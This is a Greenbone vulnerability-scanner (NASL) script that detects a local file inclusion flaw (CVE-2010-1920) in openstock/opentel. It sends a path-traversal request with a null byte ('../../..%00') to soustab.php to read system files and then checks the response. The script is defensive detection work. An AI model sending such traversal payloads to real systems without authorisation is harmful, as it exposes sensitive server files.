openstock/opentel <= 1.02 / <= 2.02 LFI Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100578");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2010-04-15 19:15:10 +0200 (Thu, 15 Apr 2010)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2010-1920");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("openstock/opentel <= 1.02 / <= 2.02 LFI Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"openstock/opentel is prone to a local file include (LFI)
  vulnerability because it fails to properly sanitize user supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain
  potentially sensitive information and execute arbitrary local scripts in the context of the
  webserver process. This may allow the attacker to compromise the application and the underlying
  computer, other attacks are also possible.");

  script_tag(name:"affected", value:"openstock facture version 2.02 and opentel openmairie tel
  version 1.02 and probably prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/23505");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/39484");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/39486");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
include("os_func.inc");

port = http_get_port( default:80 );

if( ! http_can_host_php( port:port ) )
  exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/openstock", "/openmairie_stock", "/openmairie_Tel", "/opentel", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  res = http_get_cache( port:port, item:dir + "/scr/soustab.php" );
  if( res !~ "^HTTP/1\.[01] 200" )
    continue;

  foreach file (keys(files)) {

    url = dir + "/scr/soustab.php?dsn[phptype]=../../../../../../../../../../../" + files[file] + "%00";

    if( http_vuln_check( port:port, url:url, pattern:file ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );